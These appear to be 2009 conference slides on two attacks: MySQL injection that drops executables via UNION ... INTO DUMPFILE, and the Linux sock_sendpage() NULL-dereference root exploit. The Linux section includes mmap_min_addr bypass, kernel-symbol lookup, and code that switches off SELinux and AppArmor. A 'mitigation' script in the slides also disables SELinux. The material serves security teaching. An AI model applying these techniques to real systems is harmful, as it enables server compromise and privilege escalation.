Various Hacking

(ISEC Information Security Conference)

박찬암 (Chanam Park)
chanam.park@hkpco.kr
http://hkpco.kr/

September 8. 2009

Contents

- Advanced Mysql Injection
  - I was referred the blackhat/defcon publications to this section that is written by Bernardo Damele and Muhaimin Dzulfakar
- Linux Kernel sock_sendpage() vulnerability

Advanced Mysql Injection

- Advanced Mysql Injection

Advanced Mysql Injection

SQL Injection?

- The Wikipedia defines SQL Injection as follows:
  - *SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application.*

- This technique is generally using to get a database's information.
- But, in some cases, it is able to perform remote code execution.

- This presentation will inform you how to remote code execution on the **LAMP**(**L**inux, **A**pache, **M**ysql, **P**hp) environment.

- It is introduced at Blackhat/Defcon conference.

Advanced Mysql Injection

Stacked Query

- *Stacked query* is a term to define if a database connection layer can execute more than one query at a time. Each query is separated by semicolon. It is also known as *Batched Query*. Each query is separated by semicolon.

- ***Example>***
  - select password from hk_table; drop table hk_table;
  - select contents from board; select key from info;

Advanced Mysql Injection

At Blackhat Europe 2009, Bernando Damele explained the similar technique in detail.

The steps below are taken from Bernando Damele's whitepaper.

1) Create a support table with one field, data-type longblob.
2) Encode the local file content to its corresponding hexadecimal string.
3) Split the hexadecimal encoded string into chunks long 1024 characters each
4) INSERT the first chunk into the support table's field.
5) UPDATE the support table's field by appending to the entry the chunks from the second to the last.
6) Export the hexadecimal encoded file content from the support table's entry to the destination file path by using SELECT's INTO DUMPFILE clause. This is possible because on MySQL, a query like SELECT 0x41 returns the corresponding ASCII character A.

Advanced Mysql Injection

Generally, in order to remote code execution through mysql injection attack, there are some things we should know.

- 1. CREATE TABLE footable(data longblob);
  - it is created to put our binary data
- 2. INSERT INTO footable(data) VALUES (0x4d5a90…610000);
  - it is used to put our binary data
- 3. UPDATE footable SET data=CONCAT(data, 0xaa270000…000000);
  - it is repeated to put our binary data until the end
- 4. SELECT data FROM footable **INTO DUMPFILE** 'C:/nc.exe';
  - it is used to extract our binary data in some field to path we chose

Advanced Mysql Injection

- **How to convert the binary contents to hex values**
  - You can use a hex() function in mysql.

```
select HEX(LOAD_FILE('/etc/passwd'));
```

- **What's the difference between *into dumpfile* and *into outfile*?**
  - If you use INTO DUMPFILE instead of INTO OUTFILE, MySQL writes only one row into the file, without any column or line termination and without performing any escape processing. This is useful if you want to store a BLOB value in a file.
  - *It's like a relation between "rb" and "r" in the C language.*

Advanced Mysql Injection

```
CREATE TABLE footable(data longblob);

INSERT INTO footable(data) VALUES
(0x4d5a90…610000);
UPDATE footable SET
data=CONCAT(data, 0xaa270000…000000);
[…];
SELECT data FROM footable INTO DUMPFILE
'C:/WINDOWS/Temp/nc.exe';
```

- If we can use the stacked query, the remote code execution is not difficult technique as above.
- But……

Advanced Mysql Injection

Batched queries support

	ASP	ASP.NET	PHP
MySQL	No	Yes	No
PostgreSQL	Yes	Yes	Yes
Microsoft SQL Server	Yes	Yes	Yes

Programming languages and their DBMS connectors default support for batched queries

- **MYSQL-PHP are widely use but stacked(batched) query is not allowed by default to security reason**

Advanced Mysql Injection

- **What's the problem of it?**
  - Due to the unsupported stacked queries on *MySQL-PHP* platform, execution of another statement after the actual statement is not possible.

- **BUT!**
  - However, execution of another *SELECT* statement is possible using *UNION* syntax.

  - *UNION* syntax is used to combine the result from multiple *SELECT* statements into a single result set.

Advanced Mysql Injection

- **SELECT contents FROM board WHERE id=71 UNION SELECT 0x7f4d63d8…. INTO DUMPFILE '/tmp/exploit';**

So.. That's it?

WHAT IS THE PROBLEM WITH THAT!?

Advanced Mysql Injection

- **What's the problem?**

- First of all, If the first query returns any data, this data will overwrite the file header that we don't want.

- **How to solve it?**

- we can inject any non existing value in the WHERE clause. then, no data would be extracted from the first query.

- You can make the query as follows. There is no id with -1.
- **SELECT contents FROM board WHERE id=-1 UNION SELECT 0x7f4d63d8…. INTO DUMPFILE '/tmp/exploit';**

Advanced Mysql Injection

- **What's the problem?**

- Second of all, GET request is limited to 8190 bytes on Apache.
  - Almost binary size are more than 8190.
  - We can't write separated data to the file many times.
  - Because it can't appending data to a file that just can overwrite data.
  - When use the UNION clause, we have to

Advanced Mysql Injection

- **How to solve it?**

- PHP contains a module called Zlib that can be used to read and write gzip compressed files. This module can be used to compress the arbitrary file into a smaller file using the gzcompress function.
- Or, you can use a gzip command instead of using a Zlib module.

```
[hkpco@hkpco ptrace]$ ls -l hktrace hktrace.gz
-rwxrwxr-x    1 hkpco    hkpco      18398 Aug 25 16:58 hktrace
-rwxrwxr-x    1 hkpco    hkpco       7827 Aug 25 16:57 hktrace.gz
```

- It is possible to reduce the binary size by using a strip command.

Advanced Mysql Injection

- **What's the problem?**

- If you'd like to combine the *SELECT* clause with *UNION* one, the two queries must have the same number of columns.
- So, the data from extra columns can add bad character into our binary data. this can potentially corrupt our file.

For example:

SELECT id, date, contents, reply FROM board WHERE id=-1 UNION SELECT NULL, NULL, NULL, 0x7f4d63d8.... INTO DUMPFILE '/tmp/exploit';

Advanced Mysql Injection

- **How to solve it?**

- Some data doesn't affects to original compressed file after that our compressed one. So, we can make the our arbitrary data as seen in following example.

  SELECT id, date, contents, reply FROM board WHERE id=-1 UNION SELECT 0x7f4d63d8....7d1a10, NULL, NULL, NULL INTO DUMPFILE '/tmp/exploit';

- Another method is to prevent this problem that all the our data is filled in sequence into all columns in the second query as below.

- **SELECT id, date, contents, reply FROM board WHERE id=-1 UNION SELECT 0x7f4d63d8...., 0x7d, 0x1a, 0x10 INTO DUMPFILE '/tmp/exploit';**

Advanced Mysql Injection

- **What are the Advantages of using this technique?**

  1. In order to remote code execution by attacking SQL Injection vulnerabilities(include below).

  2. In case of the target server is denied inbound packet when we want to upload some binary data to malicious attack.

  3. It can be used to get a shell of the mysql server when the apache server and mysql server are separated.

  As you know, the database server is not occupied by such as file upload or php injection.

- **There are more benefits you can get if you use this technique.**

Advanced Mysql Injection

Demonstration

Advanced Mysql Injection

- **It is abused to Mass SQL INJECTION or WORM.**
- **The attack has a very simple process.**
  - 1. Inject the attack code to arguments.
  - 2. Perform the arbitrary code execution to get root privilege.
  - 3. Malicious code execution through the root permission.
- **Assuming that this attack is success, the damages will so serious. Because it can be expanded to arbitrary code execution such as local root exploit.**

Linux Kernel sock_sendpage() Vulnerability

- Linux Kernel sock_sendpage() Vulnerability

Linux Kernel sock_sendpage() Vulnerability

- **What is the NULL Dereference Vulnerability?**

- **Overview**
  - A null-pointer dereference takes place when a pointer with a value of NULL is used as though it pointed to a valid memory area.
- **Consequences**
  - Availability: Null-pointer dereferences invariably result in the failure of the process.
- **Platform**
  - Languages: C, C++, Assembly
- **Platforms**
  - All

- *(it's from http://www.owasp.org/index.php/Null-pointer_dereference)*

Linux Kernel sock_sendpage() Vulnerability

The cases of the NULL dereference vulnerability

- Linux Kernel 2.x sock_sendpage() Local Ring0 Root Exploit
- Linux Kernel 2.4/2.6 sock_sendpage() Local Root Exploit (ppc)
- Linux Kernel 2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit
- FreeBSD <= 6.1 kqueue() NULL pointer Dereference Local Root Exploit
- OpenBSD <= 4.5 IP datagram Null Pointer Deref DoS Exploit
- OpenBSD 4.2 rtlabel_id2name() Local Null Pointer Dereference DoS

- Google Chrome 1.0.154.53 (Null Pointer) Remote Crash Exploit
- Mozilla Firefox <= 1.5.0.1, Camino <= 1.0 Null Pointer Dereference Crash
- MS Internet Explorer 6 Table.Frameset NULL Dereference Vulnerability

- Adobe Flash Player and AIR NULL Pointer Exception Remote Code Execution Vulnerability

Linux Kernel sock_sendpage() Vulnerability

- **What is the sock_sendpage() vulnerability?**

- The issue lies in how Linux deals with unavailable operations for some protocols. sock_sendpage and others don't check for NULL pointers before dereferencing operations in the ops structure. – *blog.cr0.org*

- Some function pointers in proto_ops structure has the null pointer address. So, This vulnerability is occurred when calling sock_sendpage() function with **NULL pointer dereferencing vulnerability** because of the proto_ops structure is not all defined before use it.

Linux Kernel sock_sendpage() Vulnerability

Demonstration

Linux Kernel sock_sendpage() Vulnerability

```
150 struct proto_ops {
151         int             family;
152         struct module   *owner;
153         int             (*release)   (struct socket *sock);
154         int             (*bind)      (struct socket *sock,
155                                       struct sockaddr *myaddr,
156                                       int sockaddr_len);
157         int             (*connect)   (struct socket *sock,
158                                       struct sockaddr *vaddr,
159                                       int sockaddr_len, int flags);
160         int             (*socketpair)(struct socket *sock1,
161                                       struct socket *sock2);
162         int             (*accept)    (struct socket *sock,
163                                       struct socket *newsock, int flags);
164         int             (*getname)   (struct socket *sock,
165                                       struct sockaddr *addr,
166                                       int *sockaddr_len, int peer);
167         unsigned int    (*poll)      (struct file *file, struct socket *sock,
168                                       struct poll_table_struct *wait);
169         int             (*ioctl)     (struct socket *sock, unsigned int cmd,
170                                       unsigned long arg);
171         int             (*compat_ioctl) (struct socket *sock, unsigned int cmd,
172                                       unsigned long arg);
173         int             (*listen)    (struct socket *sock, int len);
174         int             (*shutdown)  (struct socket *sock, int flags);
175         int             (*setsockopt)(struct socket *sock, int level,
176                                       int optname, char __user *optval, int optlen);
177         int             (*getsockopt)(struct socket *sock, int level,
178                                       int optname, char __user *optval, int __user *optlen);
179         int             (*compat_setsockopt)(struct socket *sock, int level,
180                                       int optname, char __user *optval, int optlen);
181         int             (*compat_getsockopt)(struct socket *sock, int level,
182                                       int optname, char __user *optval, int __user *optlen);
183         int             (*sendmsg)   (struct kiocb *iocb, struct socket *sock,
184                                       struct msghdr *m, size_t total_len);
185         int             (*recvmsg)   (struct kiocb *iocb, struct socket *sock,
186                                       struct msghdr *m, size_t total_len,
187                                       int flags);
188         int             (*mmap)      (struct file *file, struct socket *sock,
189                                       struct vm_area_struct * vma);
190         ssize_t         (*sendpage)  (struct socket *sock, struct page *page,
191                                       int offset, size_t size, int flags);
192         ssize_t         (*splice_read)(struct socket *sock,  loff_t *ppos,
193                                        struct pipe_inode_info *pipe, size_t len, unsigned int
194 };
```

Linux Kernel sock_sendpage() Vulnerability

- sock_sendpage() function isn't defined by the below routine.

```
169 static const struct proto_ops bnep_sock_ops = {
170         .family         = PF_BLUETOOTH,
171         .owner          = THIS_MODULE,
172         .release        = bnep_sock_release,
173         .ioctl          = bnep_sock_ioctl,
174 #ifdef CONFIG_COMPAT
175         .compat_ioctl   = bnep_sock_compat_ioctl,
176 #endif
177         .bind           = sock_no_bind,
178         .getname        = sock_no_getname,
179         .sendmsg        = sock_no_sendmsg,
180         .recvmsg        = sock_no_recvmsg,
181         .poll           = sock_no_poll,
182         .listen         = sock_no_listen,
183         .shutdown       = sock_no_shutdown,
184         .setsockopt     = sock_no_setsockopt,
185         .getsockopt     = sock_no_getsockopt,
186         .connect        = sock_no_connect,
187         .socketpair     = sock_no_socketpair,
188         .accept         = sock_no_accept,
189         .mmap           = sock_no_mmap
190 };
```

Linux Kernel sock_sendpage() Vulnerability

- Moreover, there is no checking routine to validate whether that the function pointer is null or not.

```
686 static ssize_t sock_sendpage(struct file *file, struct page *page,
687                                int offset, size_t size, loff_t *ppos, int more)
688 {
689         struct socket *sock;
690         int flags;
691
692         sock = file->private_data;
693
694         flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
695         if (more)
696                 flags |= MSG_MORE;
697
698         return sock->ops->sendpage(sock, page, offset, size, flags);
699 }
```

- So, we can bring the null dereference vulnerability to use sock_sendpage() function with some vulnerable socket option.

Linux Kernel sock_sendpage() Vulnerability

- To fix this, the following patch was applied.

```
diff --git a/net/socket.c b/net/socket.c
index 791d71a..6d47165 100644 (file)
--- a/net/socket.c
+++ b/net/socket.c
@@ -736,7 +736,7 @@ static ssize_t sock_sendpage(struct file *file, struct page *page,
        if (more)
                flags |= MSG_MORE;

-       return sock->ops->sendpage(sock, page, offset, size, flags);
+       return kernel_sendpage(sock, page, offset, size, flags);
 }

 static ssize_t sock_splice_read(struct file *file, loff_t *ppos,
```

- The original code that has a vulnerability is replaced as below.
  - *return kernel_sendpage(sock, page, offset, size, flags);*
- So, what is the kernel_sendpage() function?

Linux Kernel sock_sendpage() Vulnerability

```
2404 int kernel_sendpage(struct socket *sock, struct page *page, int offset,
2405                     size_t size, int flags)
2406 {
2407         if (sock->ops->sendpage)
2408                 return sock->ops->sendpage(sock, page, offset, size, flags);
2409
2410         return sock_no_sendpage(sock, page, offset, size, flags);
2411 }
```

- As above, first of all, it will check the *sendpage* in structure whether null or not.
- And then, if it has a null pointer, the *sock_no_sendpage* function is returned cause that the *sock_sendpage* function was not defined.
- Otherwise, if it has a function address, it will return a result by *sendpage* function in the structure.

Linux Kernel sock_sendpage() Vulnerability

- There is temporary patch to prevent this vulnerability as follows.
- **It will prevent allocating to the zero-address. maybe I wish..**

```
#!/bin/sh
##
# ryan macdonald <ryan@rfxn.com>
##
# The kernel tunable setting for minimum allowed user space address
# (/proc/sys/vm/mmap_min_addr) controls the amount of low virtual memory
# that is protected from userspace allocation. This script will check/set the
# minimum allowed user-space address to 4096 if eq 0 or leave it as default
# if > 4096, in an effort to temporarily protect from current pof code for
# sock_sendpage() local root exploits.
# ref: http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html
##
if [ -f "/proc/sys/vm/mmap_min_addr" ]; then
 val=`cat /proc/sys/vm/mmap_min_addr`
 if [ "$val" -lt "4096" ]; then
        echo "mmap_min_addr is less than 4096, setting 4096"
        echo "4096" > /proc/sys/vm/mmap_min_addr
        if [ -f "/etc/sysctl.conf" ] && [ ! "$(grep 'vm.mmap_min_addr' /etc/sysctl.conf)" ]; then
                echo "" >> /etc/sysctl.conf
                echo "# set minimum user-space address" >> /etc/sysctl.conf
                echo "vm.mmap_min_addr = 4096" >> /etc/sysctl.conf
                echo "appended vm.mmap_min_addr = 4096 to /etc/sysctl.conf"
        fi
 elif [ "$val" -ge "4096" ]; then
        echo "mmap_min_addr is greater than/equal to 4096, nothing done"
 fi
else
        echo "mmap_min_addr is not supported by running kernel"
fi

echo "setting selinux modes permissive and enforcing to disabled"
sed -i 's/SELINUX=permissive/SELINUX=disabled/' /etc/sysconfig/selinux
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/sysconfig/selinux
```

Linux Kernel sock_sendpage() Vulnerability

- Do you think it's all about the exploit method of sendpage vulnerability?

- Of course not, there are still some smart ways to exploit it.
  - The personality technique to bypass mmap_min_addr protection.
  - How to disable SELinux and LSM stuffs.

Linux Kernel sock_sendpage() Vulnerability

The personality technique

- **What is the personality?**

Linux supports different execution domains, or personalities, for each process. *Among other things, execution domains tell Linux how to map signal numbers into signal actions. The execution domain system allows Linux to provide limited support for binaries compiled under other Unix-like operating systems.*

- **It can be a method to bypass the null pointer mapping protection(For instance, It's like a mmap_min_addr).**

Linux Kernel sock_sendpage() Vulnerability

- **personality() prototype**
  - *int personality(unsigned long persona);*

- **The own personality can be recognized as follows.**

```
#include <stdio.h>
#include <sys/personality.h>

int main( void )
{
        printf( "%x\n", personality(0xffffffff) );
}
```

- As above, the function will **return the current personality()** when the argument equals **0xffffffff**.

Linux Kernel sock_sendpage() Vulnerability

- **If you would like to set your personality, it can be changed as follows.**

```
if( personality(PER_SVR4) < 0 ) {
        perror("personality");
        return -1;
}
```

- And if you use the PER_SVR4 personality, you can bypass the null-pointer mapping protection.
- Because, that's involved in **MMAP_PAGE_ZERO** attribution.

Linux Kernel sock_sendpage() Vulnerability

- /usr/include/sys/personality.h -

…

PER_SVR4 = 0x0001 | STICKY_TIMEOUTS | **MMAP_PAGE_ZERO**,

...

- so, you can break the wall if it has a MMAP_PAGE_ZERO attribution.

Linux Kernel sock_sendpage() Vulnerability

- **MMAP_PAGE_ZERO huh?**

- If you have a MMAP_PAGE_ZERO personality in execution, the kernel works as follows.

```
976         if (current->personality & MMAP_PAGE_ZERO) {
977                 /* Why this, you ask???  Well SVr4 maps page 0 as read-only,
978                    and some applications "depend" upon this behavior.
979                    Since we do not have the power to recompile these, we
980                    emulate the SVr4 behavior. Sigh. */
981                 down_write(&current->mm->mmap_sem);
982                 error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,
983                                 MAP_FIXED | MAP_PRIVATE, 0);
984                 up_write(&current->mm->mmap_sem);
985         }
```

- If the current personality has a MMAP_PAGE_ZERO attribution, the do_mmap() in the red box creates a new mapping at the null address.
- So, you need not to use a mmap() function directly.
- Just need to perform the **mprotect()** function to change memory's permission.

Linux Kernel sock_sendpage() Vulnerability

- **How to disable SELinux and LSM stuffs(it's so easy).**

- First of all, you have to get the symbols' addresses of the SELinux as follows.

```
selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");
selinux_enabled = (int *)get_kernel_sym("selinux_enabled");
apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");
apparmor_complain = (int *)get_kernel_sym("apparmor_complain");
apparmor_audit = (int *)get_kernel_sym("apparmor_audit");
apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");
security_ops = (unsigned long *)get_kernel_sym("security_ops");
default_security_ops = get_kernel_sym("default_security_ops");
...
```

- But, how can I get the symbols?

BONUS SECTION

- **It’s the answer to get the symbols of SELinux.**

```
static unsigned long get_kernel_sym(char *name)
{
        FILE *f;
        unsigned long addr;
        char dummy;
        char sname[256];
        int ret;

        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) {
                f = fopen("/proc/ksyms", "r");
                if (f == NULL) {
                        fprintf(stdout, "Unable to obtain symbol listing!\n");
                        return 0;
                }
        }

        ret = 0;
        while(ret != EOF) {
                ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
                        fclose(f);
                        return addr;
                }
        }

        fclose(f);
        return 0;
}
```

BONUS SECTION

- **You can get the symbols address of the SELinux that in the file as described below.**
- **Kernel 2.4**
  - **/proc/ksyms**
- **Kernel 2.6**
  - **/proc/kallsyms**

```
[hkpco@localhost proto_]$ cat /proc/kallsyms
c0400000 T _text
c0400000 T startup_32
c04000b4 T startup_32_smp
c0400134 t checkCPUtype
c04001b5 t is486
c04001bc t is386
c0400227 t check_x87
c040024e t setup_idt
c040026b t rp_sidt
…
```

BONUS SECTION

- **okay then, How can I disable the options related to SELinux?**
- **(See the below)**

```
if (apparmor_audit)
        *apparmor_audit = 0;
if (apparmor_logsyscall)
        *apparmor_logsyscall = 0;
if (apparmor_complain)
        *apparmor_complain = 0;
…
```

- **It can be disabled by change the values to 0.**
  - **It's so easy. : -)**

Thank you.

If you have any question, there are some hints you can get the answers below. ;-)

chanam.park@hkpco.kr, http://hkpco.kr/